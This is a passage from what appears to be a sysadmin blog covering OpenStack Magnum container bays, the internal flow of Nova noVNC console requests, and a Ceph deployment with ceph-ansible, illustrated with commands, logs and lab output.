+--------------------------------------+---------------------------+--------------------+---------------------+--------------+ | 3a64fa60-4df8-498f-aceb-a0cb8cfc0b18 | demoswarmbay-agf6y3qnjoyw | CREATE_IN_PROGRESS | 2016-03-19T17:22:59 | None | +--------------------------------------+---------------------------+--------------------+---------------------+--------------+ ``` We can see what tasks are executing during stack creation ``` heat event-list demoswarmbay-agf6y3qnjoyw +-------------------------------------+--------------------------------------+------------------------+--------------------+---------------------+ | resource_name | id | resource_status_reason | resource_status | event_time | +-------------------------------------+--------------------------------------+------------------------+--------------------+---------------------+ | demoswarmbay-agf6y3qnjoyw | 004c9388-b8ab-4541-ada8-99b65203e41d | Stack CREATE started | CREATE_IN_PROGRESS | 2016-03-19T17:23:01 | | master_wait_handle | d6f0798a-bfde-4bad-9c73-e108bd101009 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:01 | | secgroup_manager | e2e0eb08-aeeb-4290-9ad5-bd20fe243f07 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:02 | | disable_selinux | d7290592-ab81-4d7a-b2fa-902975904a25 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:03 | | agent_wait_handle | 65ec5553-56a4-4416-9748-bfa0ae35737a | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:03 | | add_proxy | 46bdcff8-4606-406f-8c99-7f48adc4de57 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:03 | | write_docker_socket | ab5402ea-44af-4433-84aa-a63256817a9a | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:04 | | make_cert | 3b9817a5-606f-41ab-8799-b411c017f05d | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:04 | | cfn_signal | 0add665a-3fdf-4408-ab15-76332aa326fe | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:04 | | remove_docker_key | 94f4106e-f139-4d9f-9974-8821d04be103 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:05 | | configure_swarm | f7e0ebd5-1893-43d1-bd29-81a7e39de0c0 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:05 | | extrouter | a94a8f68-c237-4dbc-9513-cdbe3de1465e | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:05 | | enable_services | c250f532-99bd-43d7-9d15-b2d3ae16567a | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:06 | | write_docker_service | 2c9d8954-4446-4578-a871-0910e8996571 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:06 | | cloud_init_wait_handle | 6cc51d2d-56e9-458b-a21b-bc553e0c8291 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:06 | | fixed_network | 3125395f-c689-4481-bf01-94bb2f701993 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:07 | | agent_wait_handle | 2db801e8-c2b5-47b0-ac16-122dba3a22d6 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:08 | | remove_docker_key | 75e2c7a6-a2ce-4026-aeeb-739c4a522f48 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:08 | | secgroup_manager | ac51a029-26c1-495a-bc13-232cfb8c1060 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:08 | | write_docker_socket | 58e08b52-a12a-43e9-b41d-071750294024 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:08 | | master_wait_handle | 3e741b76-6470-47d4-b13e-3f8f446be53c | state changed | CREATE_COMPLETE | 2016-03-19T17:23:08 | | cfn_signal | 96c26b4f-1e99-478e-a8e5-9dcc4486e1b3 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:08 | | enable_services | beedc358-ee72-4b34-a6b9-1b47ffc15306 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:08 | | add_proxy | caae3a07-d5f1-4eb0-8a82-02ea634f77ae | state changed | CREATE_COMPLETE | 2016-03-19T17:23:08 | | make_cert | 79363643-e5e4-4d1b-ad8a-5a56e1f6a8e7 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:08 | | cloud_init_wait_handle | 0457b008-6da8-44fd-abef-cb99bd4d0518 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:09 | | configure_swarm | baf1e089-c627-4b24-a571-63b3c9c14e28 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:09 | | extrouter | 184614d9-2280-4cb4-9253-f538463dbdf4 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:09 | | write_docker_service | 80e66b4e-d40a-4243-bb27-0d2a6b68651f | state changed | CREATE_COMPLETE | 2016-03-19T17:23:09 | | disable_selinux | d8a64822-2571-4dcf-9da5-b3ec73e771eb | state changed | CREATE_COMPLETE | 2016-03-19T17:23:09 | | fixed_network | 528b0ced-23f6-4c22-8cbc-357ba0ee5bc5 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:09 | | write_swarm_manager_failure_service | 9fa100a3-b4a9-465c-8b33-dd000cb4866a | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:10 | | write_swarm_agent_failure_service | a7c09833-929e-4711-a3e9-39923d23b2f2 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:10 | | fixed_subnet | 23d8b0a6-a7a3-4f71-9c18-ba6255cf071a | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:10 | | write_swarm_master_service | d24a6099-3cad-41ce-8d4b-a7ad0661aaea | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:11 | | fixed_subnet | 1a2b7397-1d09-4544-bb9f-985c2f64cb09 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:13 | | write_swarm_manager_failure_service | 615a2a7a-5266-487b-bbe1-fcaa82f43243 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:13 | | write_swarm_agent_failure_service | 3f8c54b4-6644-49a0-ad98-9bc6b4332a07 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:13 | | write_swarm_master_service | 2f58b3c8-d1cc-4590-a328-0e775e495bcf | state changed | CREATE_COMPLETE | 2016-03-19T17:23:13 | | extrouter_inside | f3da7f2f-643e-4f29-a00f-d2595d7faeaf | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:14 | | swarm_master_eth0 | 1d6a510d-520c-4796-8990-aa8f7dd59757 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:16 | | swarm_master_eth0 | 3fd85913-7399-49be-bb46-5085ff953611 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:19 | | extrouter_inside | 33749e30-cbea-4093-b36a-94967e299002 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:19 | | write_heat_params | 054e0af5-e3e0-4bc0-92b5-b40aeedc39ab | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:19 | | swarm_nodes | df7af58c-8148-4b51-bd65-b0734d9051b5 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:20 | | write_swarm_agent_service | ab1e8b1e-2837-4693-b791-e1311f85fa63 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:21 | | swarm_master_floating | d99ffe66-cb02-4279-99dc-a1f3e2ca817c | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:22 | | write_heat_params | 33d9999f-6c93-453d-8565-ac99db021f8f | state changed | CREATE_COMPLETE | 2016-03-19T17:23:25 | | write_swarm_agent_service | 02a1b7f6-2660-4345-ad08-42b66ffaaad5 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:25 | | swarm_master_floating | 8ce6ecd8-c421-4e4a-ab81-cba4b5ccedf4 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:25 | | swarm_master_init | 3787dcc8-e644-412b-859b-63a434b9ee6c | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:26 | | swarm_master_init | a1dd67bb-49c7-4507-8af0-7758b76b57e1 | state changed | CREATE_COMPLETE | 2016-03-19T17:23:28 | | swarm_master | d12b915e-3087-4e17-9954-8233926b504b | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:29 | | swarm_master | a34ad52a-def7-460b-b5b7-410000207b3e | state changed | CREATE_COMPLETE | 2016-03-19T17:23:48 | | master_wait_condition | 0c9331a4-8ad0-46e0-bf2a-35943021a1a3 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:49 | | cloud_init_wait_condition | de3707a0-f46a-44a9-b4b8-ff50e12cc77f | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:49 | | agent_wait_condition | a1a810a4-9c19-4983-aaa8-e03f308c1e39 | state changed | CREATE_IN_PROGRESS | 2016-03-19T17:23:49 | +-------------------------------------+--------------------------------------+------------------------+--------------------+---------------------+ ``` Once all tasks are completed, we can create containers in the bay we created in previous steps. ``` magnum container-create --name demo-container \ --image docker.io/cirros:latest \ --bay demoswarmbay \ --command "ping -c 4 192.168.100.2" +------------+----------------------------------------+ | Property | Value | +------------+----------------------------------------+ | uuid | 36595858-8657-d465-3e5a-dfcddad8a238 | | links | ... | | bay_uuid | a2388916-db30-41bf-84eb-df0b65979eaf | | updated_at | None | | image | cirros | | command | ping -c 4 192.168.100.2 | | created_at | 2016-03-19T17:30:00+00:00 | | name | demo-container | +------------+----------------------------------------+ ``` \| Container is created, but not started. | Start the container ``` magnum container-start demo-container ``` Check container logs, you should see 4 pings succeed to our external router gateway. ``` magnum container-logs demo-container PING 192.168.100.2 (192.168.100.2) 56(84) bytes of data. 64 bytes from 192.168.100.2: icmp_seq=1 ttl=64 time=0.083 ms 64 bytes from 192.168.100.2: icmp_seq=2 ttl=64 time=0.068 ms 64 bytes from 192.168.100.2: icmp_seq=3 ttl=64 time=0.043 ms 64 bytes from 192.168.100.2: icmp_seq=4 ttl=64 time=0.099 ms ``` You can delete the container ``` magnum container-delete demo-container ``` While doing this demo, i missed adding branch name while cloning Magnum source code, when i installed Magnum all package dependencies where installed from master, who was Mitaka instead of Liberty, which broke my environment. I suffered the following issues: Issues with packages ``` ImportError: No module named MySQLdb ``` Was solved installing MySQL-python from pip instead of yum ``` pip install MySQL-python ``` Issues with policies, admin privileges weren\\'t recognized by Magnum api. ``` PolicyNotAuthorized: magnum-service:get_all{{ bunch of stuff }} disallowed by policy ``` Was solved removing admin\_api rule at Magnum policy.json file ``` vi /etc/magnum/policy.json # "admin_api": "rule:context_is_admin", ``` \| Unfortunately, nova was completely broken and it was not working at all, so i installed a new environment and added branch while cloning source code. | Next issue i found was Barbican, who was not installed, i used the steps mentioned at this post to solve this issue. Hope this guide helps you integrating Magnum Container as a Service in OpenStack. Regards, Eduardo Gonzalez # Nova VNC flows under the hood Most OpenStack deployments has a VNC console implemented with nova-novncproxy. This service gives the final user the ability to log into their instances in a web based method through a browser. At this post i'm going to show how a vnc console request works under the hood while using the following command or lauching a vnc session through Horizon. ``` # nova get-vnc-console INSTANCE novnc ``` First of all, a user connects to NOVA and issues a VNC console request for an instance. Nova API needs to validate the user issuing an authentication request to keystone. The user receives a token with nova's endpoint URL in the catalog, with that endpoint and the token, the user makes a request against nova calling for a VNC session. ``` GET http://192.168.200.208:5000/v2.0 -H "Accept: application/json" -H \ "User-Agent: python-keystoneclient" GET http://192.168.200.208:8774/v2/ -H "User-Agent: python-novaclient" -H \ "Accept: application/json" -H "X-Auth-Token: {SHA1}3b6262df9eaba5da33c1004805187806322201f1" ``` If a name instead of an instance ID is used in the request, Nova need to check his database to match that name with his corresponding ID, as we can see in the following request. ``` GET http://192.168.200.208:8774/v2/ee84411cdb8148d28674b129ef482f31/servers?name=test1 \ -H "User-Agent: python-novaclient" -H "Accept: application/json" \ -H "X-Auth-Token: {SHA1}3b6262df9eaba5da33c1004805187806322201f1" RESP BODY: {"servers": [{"id": "9165dbda-f54e-4186-b2cb-e6ca05ac53ee", \ "links": [{"href": "http://192.168.200.208:8774/v2/ee84411cdb8148d28674b129ef482f31/servers/9165dbda-f54e-4186-b2cb-e6ca05ac53ee", "rel": "self"},\ {"href": "http://192.168.200.208:8774/ee84411cdb8148d28674b129ef482f31/servers/9165dbda-f54e-4186-b2cb-e6ca05ac53ee", \ "rel": "bookmark"}], "name": "test1"}]} ``` Once the ID is matched with the name, Nova check information about the instance (I thought it was to validate if is in ACTIVE status, but i realized that even when is in STOPPED status the request is made it anyway). ``` GET http://192.168.200.208:8774/v2/ee84411cdb8148d28674b129ef482f31/servers/9165dbda-f54e-4186-b2cb-e6ca05ac53ee\ -H "User-Agent: python-novaclient" -H "Accept: application/json" \ -H "X-Auth-Token: {SHA1}3b6262df9eaba5da33c1004805187806322201f1" RESP BODY: {"server": {"status": "ACTIVE", "updated": "2016-03-02T17:28:45Z", "hostId": "ca3a874dcad9079fcc6a0b10b0e2efaa394bc66b5335197fdd9c2498", "OS-EXT-SRV-ATTR:host": "liberty", "addresses": {"private": [{"OS-EXT-IPS-MAC:mac_addr": "fa:16:3e:aa:1c:32", "version": 4, "addr": "10.0.0.6", "OS-EXT-IPS:type": "fixed"}]}, "links": [{"href": "http://192.168.200.208:8774/v2/ee84411cdb8148d28674b129ef482f31/servers/9165dbda-f54e-4186-b2cb-e6ca05ac53ee", "rel": "self"}, {"href": "http://192.168.200.208:8774/ee84411cdb8148d28674b129ef482f31/servers/9165dbda-f54e-4186-b2cb-e6ca05ac53ee", "rel": "bookmark"}], "key_name": null, "image": {"id": "bf31eadd-c5f4-40f8-9ddb-30f688ca5e5f", "links": [{"href": "http://192.168.200.208:8774/ee84411cdb8148d28674b129ef482f31/images/bf31eadd-c5f4-40f8-9ddb-30f688ca5e5f", "rel": "bookmark"}]}, "OS-EXT-STS:task_state": null, "OS-EXT-STS:vm_state": "active", "OS-EXT-SRV-ATTR:instance_name": "instance-0000000a", "OS-SRV-USG:launched_at": "2016-03-02T17:28:45.000000", "OS-EXT-SRV-ATTR:hypervisor_hostname": "liberty", "flavor": {"id": "1", "links": [{"href": "http://192.168.200.208:8774/ee84411cdb8148d28674b129ef482f31/flavors/1", "rel": "bookmark"}]}, "id": "9165dbda-f54e-4186-b2cb-e6ca05ac53ee", "security_groups": [{"name": "default"}], "OS-SRV-USG:terminated_at": null, "OS-EXT-AZ:availability_zone": "nova", "user_id": "d9164a323be649c0a8c5c80fdd5bd585", "name": "test1", "created": "2016-03-02T17:28:34Z", "tenant_id": "ee84411cdb8148d28674b129ef482f31", "OS-DCF:diskConfig": "MANUAL", "os-extended-volumes:volumes_attached": [], "accessIPv4": "", "accessIPv6": "", "progress": 0, "OS-EXT-STS:power_state": 1, "config_drive": "", "metadata": {}}} ``` When we get the information, nova-api POST a request to nova-consoleauth for a VNC console. ``` POST http://192.168.200.208:8774/v2/ee84411cdb8148d28674b129ef482f31/servers/9165dbda-f54e-4186-b2cb-e6ca05ac53ee/action \ -H "User-Agent: python-novaclient" -H "Content-Type: application/json" \ -H "Accept: application/json" -H "X-Auth-Token: {SHA1}3b6262df9eaba5da33c1004805187806322201f1"\ -d '{"os-getVNCConsole": {"type": "novnc"}}' DEBUG nova.api.openstack.wsgi [req-2201b9d6-5711-46d3-ac4d-669094f07527 \ d9164a323be649c0a8c5c80fdd5bd585 ee84411cdb8148d28674b129ef482f31 - - -] \ Action: 'action', calling method: , body: {"os-getVNCConsole": {"type": "novnc"}} \ _process_stack /usr/lib/python2.7/site-packages/nova/api/openstack/wsgi.py:789 ``` Nova-consoleauth receives the console request and create an access URL while generates a temporary token for the vnc console. ``` INFO nova.consoleauth.manager [req-d4def6f9-1ab9-4626-b6a8-d81643ea5eb4 d9164a323be649c0a8c5c80fdd5bd585 ee84411cdb8148d28674b129ef482f31 - - -] \ Received Token: 3dfcd011-28f1-4cf3-8f5c-8cd18de4560e, \ {'instance_uuid': u'9165dbda-f54e-4186-b2cb-e6ca05ac53ee', \ 'access_url': u'http://192.168.200.208:6080/vnc_auto.html?token=3dfcd011-28f1-4cf3-8f5c-8cd18de4560e',\ 'token': u'3dfcd011-28f1-4cf3-8f5c-8cd18de4560e', 'last_activity_at': 1456940028.356214, \ 'internal_access_path': None, 'console_type': u'novnc', 'host': u'liberty', 'port': u'5900'} ``` Nova-consoleauth answer to nova-api who also answers to the user with an access URL. This URL got the following content on it: * HTTP or HTTPS connection to nova-novncproxy IP * Nova-novncproxy port * A token to validate the VNC connection ``` RESP BODY: {"console": {"url": "http://192.168.200.208:6080/vnc_auto.html?token=3dfcd011-28f1-4cf3-8f5c-8cd18de4560e", "type": "novnc"}} +-------+--------------------------------------------------------------------------------------+ | Type | Url | +-------+--------------------------------------------------------------------------------------+ | novnc | http://192.168.200.208:6080/vnc_auto.html?token=3dfcd011-28f1-4cf3-8f5c-8cd18de4560e | +-------+--------------------------------------------------------------------------------------+ ``` Until now, nova-novncproxy service can be stopped or isn't used at all, is at this point the when proxy server enter into the game. The user connects through a web browser to the nova-novncproxy's URL provided by nova before. ``` DEBUG nova.console.websocketproxy [-] 192.168.200.1: \ new handler Process vmsg /usr/lib/python2.7/site-packages/websockify/websocket.py:828 ``` Nova-vncproxy validate the issued token with the URL against nova-consoleauth. ``` nova.consoleauth.manager [req-399c7b58-700a-4779-b215-b12d10056813 - - - - -] \ Checking Token: 3dfcd011-28f1-4cf3-8f5c-8cd18de4560e, True ``` When the token is validated, nova-novncproxy maps compute's node private IP (at this case port 5900) with the nova-novncproxy public IP(6080 port). ``` INFO nova.console.websocketproxy [req-399c7b58-700a-4779-b215-b12d10056813 - - - - -]\ 7: connect info: {u'instance_uuid': u'9165dbda-f54e-4186-b2cb-e6ca05ac53ee', u'\ internal_access_path': None, u'last_activity_at': 1456940028.356214, \ u'console_type': u'novnc', u'host': u'liberty', u'token': u'3dfcd011-28f1-4cf3-8f5c-8cd18de4560e', \ u'access_url': u'http://192.168.200.208:6080/vnc_auto.html?token=3dfcd011-28f1-4cf3-8f5c-8cd18de4560e'\ , u'port': u'5900'} ``` We can see how the python novncproxy process binds both IPs/port. ``` # ps aux | grep vnc nova 14840 1.2 0.7 362096 41000 ? S 18:53 0:14 /usr/bin/python2 /usr/bin/nova-novncproxy --web /usr/share/novnc/ # netstat -putona | grep 14840 tcp 0 0 192.168.200.208:6080 192.168.200.1:59918 ESTABLISHED 14840/python2 keepalive (3,13/0/0) tcp 0 0 192.168.122.73:57764 192.168.122.73:5900 ESTABLISHED 14840/python2 keepalive (3,13/0/0) ``` Nova-novncproxy starts the connection between the instance and user's browser session. ``` INFO nova.console.websocketproxy [req-399c7b58-700a-4779-b215-b12d10056813 - - - - -]\ 7: connecting to: liberty:5900 ``` Libvirt connects a vnc console into the instance, as we can see at the xml provided by virsh command. Also, port 5900 now is binded at qemu-kvm process. ``` # virsh dumpxml 2 ... ... # netstat -putona | grep 5900 tcp 0 0 0.0.0.0:5900 0.0.0.0:* LISTEN 5910/qemu-kvm off (0.00/0/0) tcp 0 0 192.168.122.73:5900 192.168.122.73:57702 ESTABLISHED 5910/qemu-kvm off (0.00/0/0) tcp 0 0 192.168.122.73:57702 192.168.122.73:5900 ESTABLISHED 11118/python2 keepalive (1,92/0/0) ``` Nova-novncproxy keeps the connection alive until browser session ends. ``` DEBUG nova.console.websocketproxy [-] \ Reaing zombies, active child count is 1 vmsg /usr/lib/python2.7/site-packages/websockify/websocket.py:828 ``` When a token is not valid while authenticating against nova-consoleauth, we can see a message like the following. ``` INFO nova.console.websocketproxy [req-9164b32d-3ce1-441b-82c7-6c23c9a354d0 - - - - -] \ handler exception: The token '3dfcd011-28f1-4cf3-8f5c-8cd18de4560e' is invalid or has expired ``` Regards. Eduardo Gonzalez # Ceph Ansible baremetal deployment How many times you tried to install Ceph? How many fails with no reason? All Ceph operator should agree with me when i say that Ceph installer doesn't really works as expected so far. Yes, i'm talking about ceph-deploy and the main reason why i'm posting this guide about deploying Ceph with Ansible. At this post, i will show how to install a Ceph cluster with Ansible on baremetal servers. My configuration is as follows: 1. 3 x ceph monitors 8GB of RAM each one 2. 3 x OSD nodes 16GB of RAM and 3x100 GB of Disk 3. 1 x RadosGateway node 8GB of RAM First, download Ceph-Ansible playbooks ``` git clone https://github.com/ceph/ceph-ansible/ Cloning into 'ceph-ansible'... remote: Counting objects: 5764, done. remote: Compressing objects: 100% (38/38), done. remote: Total 5764 (delta 7), reused 0 (delta 0), pack-reused 5726 Receiving objects: 100% (5764/5764), 1.12 MiB | 1.06 MiB/s, done. Resolving deltas: 100% (3465/3465), done. Checking connectivity... done. ``` Move to the newly created folder called ceph-ansible ``` cd ceph-ansible/ ``` Copy sample vars files, we will configure our environment in these variable files. ``` cp site.yml.sample site.yml cp group_vars/all.sample group_vars/all cp group_vars/mons.sample group_vars/mons cp group_vars/osds.sample group_vars/osds ``` Next step is configure the inventory with our servers, i don\\'t really like use /etc/ansible/host file, i prefer create a new file per environment inside playbook\\'s folder. Create a file with the following content, use you own IPs to match your servers on the desired role inside the cluster ``` [root@ansible ~]# vi inventory_hosts [mons] 192.168.1.48 192.168.1.49 192.168.1.52 [osds] 192.168.1.50 192.168.1.53 192.168.1.54 [rgws] 192.168.1.55 ``` Test connectivity to you servers pinging them through Ansible ping module ``` [root@ansible ~]# ansible -m ping -i inventory_hosts all 192.168.1.48 | success >> { "changed": false, "ping": "pong" } 192.168.1.50 | success >> { "changed": false, "ping": "pong" } 192.168.1.55 | success >> { "changed": false, "ping": "pong" } 192.168.1.53 | success >> { "changed": false, "ping": "pong" } 192.168.1.49 | success >> { "changed": false, "ping": "pong" } 192.168.1.54 | success >> { "changed": false, "ping": "pong" } 192.168.1.52 | success >> { "changed": false, "ping": "pong" } ``` Edit site.yml file, i will remove/comment mds nodes since i\\'m not going to use them. ``` [root@ansible ~]# vi site.yml - hosts: mons become: True roles: - ceph-mon - hosts: agents become: True roles: - ceph-agent - hosts: osds become: True roles: - ceph-osd #- hosts: mdss # become: True # roles: # - ceph-mds - hosts: rgws become: True roles: - ceph-rgw - hosts: restapis become: True roles: - ceph-restapi ``` Edit main variable file, here we are going to configure our environment ``` [root@ansible ~]# vi group_vars/all ``` Here we configure from where ceph packages are going to be installed, for now we use upstream code with the stable release Infernalis. ``` ## Configure package origin ceph_origin: upstream ceph_stable: true ceph_stable_release: infernalis ``` Configure interface on which monitor will be listening ``` ## Monitor options monitor_interface: eth2 ``` Here we configure some OSD options, like journal size and what networks will be used by public and cluster data replication ``` ## OSD options journal_size: 1024 public_network: 192.168.1.0/24 cluster_network: 192.168.200.0/24 ``` Edit osds variable file ``` [root@ansible ~]# vi group_vars/osds ``` I will use auto discovery option to allow ceph ansible select empy or not used devices in my servers to create OSDs. ``` # Declare devices osd_auto_discovery: True journal_collocation: True ``` \| Of course you can use other options, i\\'ll highly suggest you to read variable comments, as they provide valuable information about usage. | We\\'re ready to deploy ceph with ansible with our custom inventory\_hosts file. ``` [root@ansible ~]# ansible-playbook site.yml -i inventory_hosts ``` After a while, you will have a fully functional ceph cluster. \| Maybe you find some issues or bugs when running the playbooks. | There is a lot of efforts to fix issues on upstream repository. If a new bug is encountered, please, post a issue right here. | You can check your cluster status with ceph -s. we can see all OSDs are up and pgs active/clean. ``` [root@ceph-mon1 ~]# ceph -s cluster 5ff692ab-2150-41a4-8b6d-001a4da21c9c health HEALTH_OK monmap e1: 3 mons at {ceph-mon1=192.168.200.141:6789/0,ceph-mon2=192.168.200.180:6789/0,ceph-mon3=192.168.200.232:6789/0} election epoch 6, quorum 0,1,2 ceph-mon1,ceph-mon2,ceph-mon3 osdmap e10: 9 osds: 9 up, 9 in flags sortbitwise pgmap v32: 64 pgs, 1 pools, 0 bytes data, 0 objects 102256 kB used, 896 GB / 896 GB avail 64 active+clean ``` \| We are going to do some tests. | Create a pool ``` [root@ceph-mon1 ~]# ceph osd pool create test 128 128 pool 'test' created ``` Create a file big file ``` [root@ceph-mon1 ~]# dd if=/dev/zero of=/tmp/sample.txt bs=2M count=1000 1000+0 records in 1000+0 records out 2097152000 bytes (2.1 GB) copied, 16.7386 s, 125 MB/s ``` Upload the file to rados ``` [root@ceph-mon1 ~]# rados -p test put sample /tmp/sample.txt ``` Check om which placement groups your file is saved ``` [root@ceph-mon1 ~]# ceph osd map test sample osdmap e13 pool 'test' (1) object 'sample' -> pg 1.bddbf0b9 (1.39) -> up ([1,0], p1) acting ([1,0], p1) ``` Query the placement group where you file was uploaded, a similar output will prompts ``` [root@ceph-mon1 ~]# ceph pg 1.39 query { "state": "active+clean", "snap_trimq": "[]", "epoch": 13, "up": [ 1, 0 ], "acting": [ 1, 0 ], "actingbackfill": [ "0", "1" ], "info": { "pgid": "1.39", "last_update": "13'500", "last_complete": "13'500", "log_tail": "0'0", "last_user_version": 500, "last_backfill": "MAX", "last_backfill_bitwise": 0, "purged_snaps": "[]", "history": { "epoch_created": 11, "last_epoch_started": 12, "last_epoch_clean": 13, "last_epoch_split": 0, "last_epoch_marked_full": 0, "same_up_since": 11, "same_interval_since": 11, "same_primary_since": 11, "last_scrub": "0'0", "last_scrub_stamp": "2016-03-16 21:13:08.883121", "last_deep_scrub": "0'0", "last_deep_scrub_stamp": "2016-03-16 21:13:08.883121", "last_clean_scrub_stamp": "0.000000" }, "stats": { "version": "13'500", "reported_seq": "505", "reported_epoch": "13", "state": "active+clean", "last_fresh": "2016-03-16 21:24:40.930724", "last_change": "2016-03-16 21:14:09.874086", "last_active": "2016-03-16 21:24:40.930724", "last_peered": "2016-03-16 21:24:40.930724", "last_clean": "2016-03-16 21:24:40.930724", "last_became_active": "0.000000", "last_became_peered": "0.000000", "last_unstale": "2016-03-16 21:24:40.930724", "last_undegraded": "2016-03-16 21:24:40.930724", "last_fullsized": "2016-03-16 21:24:40.930724", "mapping_epoch": 11, "log_start": "0'0", "ondisk_log_start": "0'0", "created": 11, "last_epoch_clean": 13, "parent": "0.0", "parent_split_bits": 0, "last_scrub": "0'0", "last_scrub_stamp": "2016-03-16 21:13:08.883121", "last_deep_scrub": "0'0", "last_deep_scrub_stamp": "2016-03-16 21:13:08.883121", "last_clean_scrub_stamp": "0.000000", "log_size": 500, "ondisk_log_size": 500, "stats_invalid": "0", "stat_sum": { "num_bytes": 2097152000, "num_objects": 1, "num_object_clones": 0, "num_object_copies": 2, "num_objects_missing_on_primary": 0, "num_objects_degraded": 0, "num_objects_misplaced": 0, "num_objects_unfound": 0, "num_objects_dirty": 1, "num_whiteouts": 0, "num_read": 0, "num_read_kb": 0, "num_write": 500, "num_write_kb": 2048000, "num_scrub_errors": 0, "num_shallow_scrub_errors": 0, "num_deep_scrub_errors": 0, "num_objects_recovered": 0, "num_bytes_recovered": 0, "num_keys_recovered": 0, "num_objects_omap": 0, "num_objects_hit_set_archive": 0, "num_bytes_hit_set_archive": 0, "num_flush": 0, "num_flush_kb": 0, "num_evict": 0, "num_evict_kb": 0, "num_promote": 0, "num_flush_mode_high": 0, "num_flush_mode_low": 0, "num_evict_mode_some": 0, "num_evict_mode_full": 0 }, "up": [ 1, 0 ], "acting": [ 1, 0 ], "blocked_by": [], "up_primary": 1, "acting_primary": 1 }, "empty": 0, "dne": 0, "incomplete": 0, "last_epoch_started": 12, "hit_set_history": { "current_last_update": "0'0", "history": [] } }, "peer_info": [ { "peer": "0", "pgid": "1.39", "last_update": "13'500", "last_complete": "13'500", "log_tail": "0'0", "last_user_version": 0, "last_backfill": "MAX", "last_backfill_bitwise": 0, "purged_snaps": "[]", "history": { "epoch_created": 11, "last_epoch_started": 12, "last_epoch_clean": 13, "last_epoch_split": 0, "last_epoch_marked_full": 0, "same_up_since": 0, "same_interval_since": 0, "same_primary_since": 0, "last_scrub": "0'0", "last_scrub_stamp": "2016-03-16 21:13:08.883121", "last_deep_scrub": "0'0", "last_deep_scrub_stamp": "2016-03-16 21:13:08.883121", "last_clean_scrub_stamp": "0.000000" }, "stats": { "version": "0'0", "reported_seq": "0", "reported_epoch": "0", "state": "inactive", "last_fresh": "0.000000", "last_change": "0.000000", "last_active": "0.000000", "last_peered": "0.000000", "last_clean": "0.000000", "last_became_active": "0.000000", "last_became_peered": "0.000000", "last_unstale": "0.000000", "last_undegraded": "0.000000", "last_fullsized": "0.000000", "mapping_epoch": 0, "log_start": "0'0", "ondisk_log_start": "0'0", "created": 0, "last_epoch_clean": 0, "parent": "0.0", "parent_split_bits": 0, "last_scrub": "0'0", "last_scrub_stamp": "0.000000", "last_deep_scrub": "0'0", "last_deep_scrub_stamp": "0.000000", "last_clean_scrub_stamp": "0.000000", "log_size": 0, "ondisk_log_size": 0, "stats_invalid": "0", "stat_sum": { "num_bytes": 0, "num_objects": 0, "num_object_clones": 0, "num_object_copies": 0, "num_objects_missing_on_primary": 0, "num_objects_degraded": 0, "num_objects_misplaced": 0, "num_objects_unfound": 0, "num_objects_dirty": 0, "num_whiteouts": 0, "num_read": 0, "num_read_kb": 0, "num_write": 0, "num_write_kb": 0, "num_scrub_errors": 0, "num_shallow_scrub_errors": 0, "num_deep_scrub_errors": 0, "num_objects_recovered": 0, "num_bytes_recovered": 0, "num_keys_recovered": 0, "num_objects_omap": 0, "num_objects_hit_set_archive": 0, "num_bytes_hit_set_archive": 0, "num_flush": 0, "num_flush_kb": 0, "num_evict": 0, "num_evict_kb": 0, "num_promote": 0, "num_flush_mode_high": 0, "num_flush_mode_low": 0, "num_evict_mode_some": 0, "num_evict_mode_full": 0 }, "up": [], "acting": [], "blocked_by": [], "up_primary": -1, "acting_primary": -1 }, "empty": 0, "dne": 0, "incomplete": 0, "last_epoch_started": 12, "hit_set_history": { "current_last_update": "0'0", "history": [] } } ], "recovery_state": [ { "name": "Started\/Primary\/Active", "enter_time": "2016-03-16 21:13:36.769083", "might_have_unfound": [], "recovery_progress": { "backfill_targets": [], "waiting_on_backfill": [], "last_backfill_started": "MIN", "backfill_info": { "begin": "MIN", "end": "MIN", "objects": [] }, "peer_backfill_info": [], "backfills_in_flight": [], "recovering": [], "pg_backend": { "pull_from_peer": [], "pushing": [] } }, "scrub": { "scrubber.epoch_start": "0", "scrubber.active": 